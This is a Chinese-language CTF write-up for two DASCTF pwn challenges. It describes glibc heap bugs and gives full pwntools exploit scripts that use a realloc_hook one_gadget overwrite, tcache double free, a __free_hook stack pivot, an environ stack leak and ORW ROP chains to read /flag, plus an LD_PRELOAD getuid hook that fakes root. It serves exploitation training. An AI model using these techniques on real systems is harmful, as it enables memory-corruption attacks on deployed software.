fruitpie

malloc 申请 size 没有上限,后面会输出堆地址。

image-20210329174629968

申请大 size 堆,以 mmap 方式分配,得到的堆地址在 libc 附近。

image-20210329174910143

需要用 realloc 调整堆栈让 onegadget 生效,最后关闭了 stdout ,手动打开exec 1>&0

exec 1>&0 - luooofan

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.log_level = 'debug'
context.binary = "./fruitpie"
context.terminal = ['tmux','sp','-h']

p = process("./fruitpie")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# p = remote("54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com",51302)
# libc = ELF("./libc.so.6")

p.recvuntil("malloc:")
# p.send(str(0xffffff))
p.send(str(0x23002))

p.recvuntil("0x")
heap_addr = int(p.recvuntil('\n',drop=1),16)
log.info("heap_addr:"+hex(heap_addr))
libc_base = heap_addr - 0x5ac010
log.info("libc_base:"+hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']
log.info("malloc_hook:"+hex(malloc_hook))
realloc = libc_base + libc.sym['realloc']
log.info("realloc:"+hex(realloc))
realloc_hook = libc_base + libc.sym['__realloc_hook']
log.info("realloc_hook:"+hex(realloc_hook))

offset = realloc_hook-heap_addr
log.info("realloc_hook-heap_addr:"+hex(offset))

onegadget = libc_base + 0x4527a
log.info("onegadget:"+hex(onegadget))
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# gdb.attach(p,"b *$rebase(0xCE1)")

p.recvuntil("set:\n")
p.sendline(hex(offset))
payload = p64(onegadget) + p64(realloc+8)
p.recvuntil("Data:\n")
p.send(payload)


p.interactive()

ParentSimulator

检测启动用户是否为 root ,hook getuid 返回值为 0 :

1
2
3
4
5
6
7
8
#filename:hook.c
#gcc -shared -fPIC hook.c -o hook.so
#include <stdio.h>
unsigned int getuid(void)
{
puts("[+]hook");
return 0;
}

image-20210329203019415

Glibc 2.31 版本下的 UAF ,堆 size 固定为 0x100

image-20210330002854352

从 glibc 2.29 开始就在 tcache 新增了 key 用于防止 double free 。题中堆块释放后,只有调用 sub_196B() 的一次机会修改位于 bin 中堆块内容。

程序要用 root 账户运行,可以 peatch 跳转汇编指令,我是 hook getuid 返回值为 0 :

1
2
3
4
5
6
7
8
#filename:hook.c
#gcc -fPIC hook.c -o hook.so
#include <stdio.h>
unsigned int getuid(void)
{
puts("hook");
return 0;
}
1
p = process("./pwn", env={"LD_PRELOAD":"./hook.so"})

libc gadget

666 选项操作一个在 tcache 的堆,泄露出 tcache_struct 地址(堆地址),同时修改 key 实现 tcache double free

image-20210331101754705

申请两次,获得指向同一块内存的指针。释放其中一个到 unsortedbin ,show 另外一个泄露出 libc 地址

程序开了沙盒禁止 execve ,之前学过思路是劫持 free_hook 为 setcontext+53 ,设置寄存器构造出一个 read 输入,输入 orw ropchain 并跳转。

之前 setcontext 做的题目:https://www.mrskye.cn/archives/233/

从大佬博客学到新姿势,劫持 free_hook 为 libc 的 gadget 栈迁移到堆上的 ropchain

image-20210331103838230

执行 free_hook rdi 的值是被释放的堆地址,rbp 、 rax 都可以被控制,最后调用 leave_ret 实现栈迁移

  • [rax+0x28] :leave_ret
  • [rbp+0x18] :rax
  • [rdi+0x48] :rbp

leave_ret 跳转到 rbp 执行 ropchain ,所以 rbp 是 &(ropchain)-8 。gadget 跳转到 ropchain 的部署:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# free(0x5646d3e43e20)
0x5646d3e43e20: uncontrol area write start at fd_nextsize
0x5646d3e43e30: "/flag" padding
0x5646d3e43e40: padding padding
0x5646d3e43e50: padding padding
0x5646d3e43e60: padding 0x5646d3e43d20(rbp-->ropchain-8)
0x5646d3e43e70: leave_ret 0x0000000000000000
# chunk ropchain
0x5646d3e43d10: uncontrol area write start at fd_nextsize
0x5646d3e43d20: padding add_rsp_0x18_ret
0x5646d3e43d30: padding 0x00005646d3e43e48
0x5646d3e43d40: padding pop_rdi_ret <==ropchain
0x5646d3e43d50: address of "/flag" pop_rsi_ret
0x5646d3e43d60: 0x0000000000000000 pop_rdx_r12_ret
0x5646d3e43d70: 0x0000000000000000 0x0000000000000000
0x5646d3e43d80: open_addr pop_rdi_ret
0x5646d3e43d90: 0x0000000000000004 pop_rsi_ret
…………
1
2
3
4
5
6
7
8
9
10
# free chunk payload
payload="/flag\x00\x00\x00".ljust(0x38,'a')
payload += p64(tcache_struct+0xd10) #ropchunk in chunk6
payload += p64(leave_ret)

# ropchain chunk payload
payload =p64(0xdeadbeefdeadbeef)+p64(add_rsp_0x18_ret)
payload+=p64(0xdeadbeefdeadbeef)+p64(tcache_struct+0xe38)
payload+=p64(0xdeadbeefdeadbeef)
payload+=ropchain

environ

Libc 中的 environ 里面存了栈地址,根据偏移可以找到 main rip 的栈地址,然后 hijack rip 为 ropchain

image-20210401002227893

这题每个堆可控输入位置从 fd_nextsize 开始,tcachebin 填入的地址 -0x10 。这题 main 的 canary 在很上面,即使会修改 rip 前面的 0x10 空间也不会触发 stack_check_fail

WX20210401-000729

EXP

libc gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
context.binary = './pwn'

def menu(choice):
p.recvuntil(">> ")
p.sendline(str(choice))

def add(idx, sex, name):
menu(1)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("2.Girl:\n")
p.sendline(str(sex))
p.recvuntil("Please input your child's name:\n")
p.send(name)

def edit_name(idx, name):
menu(2)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("Please input your child's new name:\n")
p.send(name)

def show(idx):
menu(3)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))

def delete(idx):
menu(4)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))

def edit_description(idx ,desc):
menu(5)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("Please input your child's description:\n")
p.send(desc)

p = process("./pwn", env={"LD_PRELOAD":"./hook.so"})
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

for i in range(8):
add(i,1,'a'*7)

delete(6)
# leak heap addr
menu(666)
p.sendline('6')
p.recvuntil("gender:")
tcache_struct = u64(p.recv(6).ljust(8,'\x00'))
log.info("tcache_struct:"+hex(tcache_struct))
p.recvuntil("Girl:\n")
p.sendline('2')
# double free tcache
delete(6)

add(6,1,'b')
add(8,1,'b')

# full 0x110 tcache
for i in range(6):
delete(i)
delete(7)
# free 2 unsortedbin
delete(6)
# leak libc_addt
show(8)
main_arean = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
log.info("main_arean:"+hex(main_arean))
libc_base = main_arean - 0x1ebbe0
log.info("libc_base:"+hex(libc_base))

free_hook=libc_base+libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))

open_addr=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
puts=libc_base+libc.sym['puts']
pop_rdi_ret=libc_base+0x0000000000026b72
pop_rsi_ret=libc_base+0x0000000000027529
pop_rdx_r12_ret=libc_base+0x000000000011c371
leave_ret = libc_base+0x000000000005aa48
gadget=libc_base+0x157D8A#0x157BFA
log.info("gadget:"+hex(gadget))
add_rsp_0x18_ret=libc_base+0x000000000003794a
ret=libc_base+0x0000000000025679


for i in range(7):
add(i,1,'d')
add(6,1,'d') #malloc from unsortedbin

delete(7)
delete(6)

edit_name(8,p64(free_hook)[:-1]) #allow read 7 bit

add(6,1,'e')
add(7,1,p64(gadget)[:-1]) #allow read 7 bit

payload="/flag\x00\x00\x00".ljust(0x38,'a')
payload += p64(tcache_struct+0xd10) #ropchunk in chunk6
payload += p64(leave_ret)
edit_description(0,payload)

payload =p64(0xdeadbeefdeadbeef)+p64(add_rsp_0x18_ret)
payload+=p64(0xdeadbeefdeadbeef)+p64(tcache_struct+0xe38)
payload+=p64(0xdeadbeefdeadbeef)
payload+=p64(pop_rdi_ret)+p64(tcache_struct+0xe20) #"flag" in chunk0
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_r12_ret)+p64(0)*2
payload+=p64(open_addr)

payload+=p64(pop_rdi_ret)+p64(4)
payload+=p64(pop_rsi_ret)
payload+=p64(tcache_struct+0x400)
payload+=p64(pop_rdx_r12_ret)+p64(0x50)+p64(0)
payload+=p64(read)

# payload+=p64(pop_rdi_ret)
# payload+=p64(tcache_struct+0x400)
# payload+=p64(puts)
payload+=p64(pop_rdi_ret)
payload+=p64(1)
payload+=p64(pop_rsi_ret)
payload+=p64(tcache_struct+0x400)
payload+=p64(libc_base+libc.sym['write'])

#gdb.attach(p,"b *$rebase(0x19D4)")

edit_description(6,payload)

delete(0)

p.interactive()

environ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
context.binary = './pwn'

def menu(choice):
p.recvuntil(">> ")
p.sendline(str(choice))

def add(idx, sex, name):
menu(1)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("2.Girl:\n")
p.sendline(str(sex))
p.recvuntil("Please input your child's name:\n")
p.send(name)

def edit_name(idx, name):
menu(2)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("Please input your child's new name:\n")
p.send(name)

def show(idx):
menu(3)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))

def delete(idx):
menu(4)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))

def secret(idx):
menu(666)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("2.Girl:\n")
p.sendline(str(1))

def edit_description(idx ,desc):
menu(5)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("Please input your child's description:\n")
p.send(desc)

p = process("./pwn", env={"LD_PRELOAD":"./hook.so"})
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

for i in range(7):
add(i,1,'a'*7)
add(7,1,'a'*7)
add(8,1,'a'*7)
for i in range(7):
delete(i)
delete(7)
for i in range(7):
add(i,1,'b'*7)
add(9,1,'b'*7)
for i in range(7):
delete(i)
delete(7)

show(9)
main_arean = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info("main_arean:"+hex(main_arean))
libc_base = main_arean - 0x1ebbe0
log.info("libc_base:"+hex(libc_base))

free_hook=libc_base+libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))
environ = libc_base + libc.symbols["__environ"]
log.info("environ:"+hex(environ))

open_addr=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
puts=libc_base+libc.sym['puts']
pop_rdi_ret=libc_base+0x0000000000026b72
pop_rsi_ret=libc_base+0x0000000000027529
pop_rdx_r12_ret=libc_base+0x000000000011c371
leave_ret = libc_base+0x000000000005aa48
gadget=libc_base+0x157D8A#0x157BFA
log.info("gadget:"+hex(gadget))
add_rsp_0x18_ret=libc_base+0x000000000003794a
ret=libc_base+0x0000000000025679

for i in range(7):
add(i,1,'c'*7)
add(7,1,'c'*7)
delete(0) #add tcache number
delete(1)
delete(7)
# leak heap addr
menu(666)
p.sendline('7')
p.recvuntil("gender:")
tcache_struct = u64(p.recv(6).ljust(8,'\x00'))
log.info("tcache_struct:"+hex(tcache_struct))
p.recvuntil("Girl:\n")
p.sendline('2')
# double free tcache
delete(7)

add(7,1,'b')
edit_name(7,p64(tcache_struct)[:7])
add(8,1,'b')
add(0,1,'b') #tcache struct
payload = p64(0) + p64(0x7000000000000)
payload = payload.ljust(0xe8,'\x00')
payload += p64(environ-0x10)[:7]
edit_description(0,payload)

# lead steak
add(1,1,'c')
show(1)
stack_leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b"\x00"))
log.info("stack_leak:"+hex(stack_leak))
main_ret = stack_leak - 0x100
log.info("main_ret:"+hex(main_ret))

# hijact main_ret
payload = p64(0) + p64(0x7000000000000)
payload = payload.ljust(0xe8,'\x00')
payload += p64(main_ret-0x10)[:7]
edit_description(0,payload)
add(2,1,'d')

edit_description(3,"/flag\x00")

payload=p64(pop_rdi_ret)+p64(tcache_struct+0x9e0) #"flag" in chunk0
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_r12_ret)+p64(0)*2
payload+=p64(open_addr)

payload+=p64(pop_rdi_ret)+p64(4)
payload+=p64(pop_rsi_ret)
payload+=p64(tcache_struct+0x9f0)
payload+=p64(pop_rdx_r12_ret)+p64(0x50)+p64(0)
payload+=p64(read)

payload+=p64(pop_rdi_ret)
payload+=p64(tcache_struct+0x9f0)
payload+=p64(puts)

edit_description(2,payload)
# gdb.attach(p,"b *$rebase(0x19D4)")
menu(6)

p.interactive()

Writeup 汇总

https://shimo.im/docs/V1hLlJ0RoRkI7Si9